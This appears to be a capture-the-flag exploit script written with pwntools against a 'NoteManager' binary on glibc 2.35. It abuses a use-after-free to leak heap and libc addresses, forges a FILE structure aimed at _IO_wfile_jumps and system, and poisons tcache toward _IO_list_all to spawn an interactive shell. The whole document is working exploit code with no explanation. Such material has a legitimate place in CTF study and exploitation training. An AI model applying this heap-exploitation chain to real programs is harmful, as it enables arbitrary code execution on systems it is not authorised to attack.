1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * context.terminal = ['tmux','splitw','-h'] GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' EXE = './NoteManager'
def payload(lo:int): global sh if lo: sh = process(EXE) if lo & 2: gdb.attach(sh) else: sh = remote('', 9999) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6') elf = ELF(EXE)
def addn(title:bytes, cont:bytes): sh.sendlineafter(b'Choose', b'1') sh.sendlineafter(b'title', title) sh.sendlineafter(b'content', cont)
def deln(title:bytes): sh.sendlineafter(b'Choose', b'2') sh.sendlineafter(b'title', title)
def edit(title:bytes, cont:bytes): sh.sendlineafter(b'Choose', b'3') sh.sendlineafter(b'title', title) sh.sendlineafter(b'content', cont)
def show() -> bytes: sh.sendlineafter(b'Choose', b'4') sh.recvuntil(b'option: ') return sh.recvuntil(b'NoteManager', True)
def eout(): sh.sendlineafter(b'Choose', b'5')
PROTECT_PTR = lambda pos, ptr: (pos >> 12) ^ ptr
addn(b'root', b'!') addn(b'fake file', b't'*0x100) addn(b'0'*33, b'x'*0x18) addn(b'0'*33, b'x'*0x500) addn(b'1'*33, b'x'*0x28) addn(b'1'*33, b'x') addn(b'head', b'head') deln(b'0'*33) val = show()
idx = val.find(b'Title: ', 5) idx = val.find(b'Title: ', idx + 5) idx = val.find(b'Title: ', idx + 5) heapBase = u64(val[idx + 7:idx + 12] + b'\0\0\0') << 12 success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}'))
arena = 0x21ac80 idx = val.find(b'Content: ', idx) mainArena = u64(val[idx + 9:idx + 15] + b'\0\0') - 0x60 libcBase = mainArena - arena libc.address = libcBase oneGadget = libcBase + 0x10d9c2 success(GOLD_TEXT(f'Leak libcBase: {hex(libcBase)}'))
def write0(content:bytes, offset:int): for leng, b in enumerate(content): if b == 0: break for i in range(7, leng, -1): edit(b'fake file', b'0'*(offset + i) + b'\0') edit(b'fake file', b'0'*offset + content)
write0(p64(heapBase + 0x360), 0xe0) write0(p64(libc.symbols['_IO_wfile_jumps']), 0xd8) write0(p64(0), 0xc0) write0(p64(heapBase + 0x360), 0xa0) write0(p64(libc.symbols['system']), 0x68) write0(p64(0), 0x30) write0(p64(1), 0x28) write0(p64(0), 0x20) write0(p64(0), 0x18) write0(b' sh;\0', 0)
deln(b'root') deln(b'1'*33) edit(b'1'*33, p64(PROTECT_PTR(heapBase + 0x9c0, libc.symbols['_IO_list_all']))) addn(b'adjusting', b'x') addn(b'more adjust', p64(heapBase + 0x360))
eout() sh.clean() sh.interactive()
|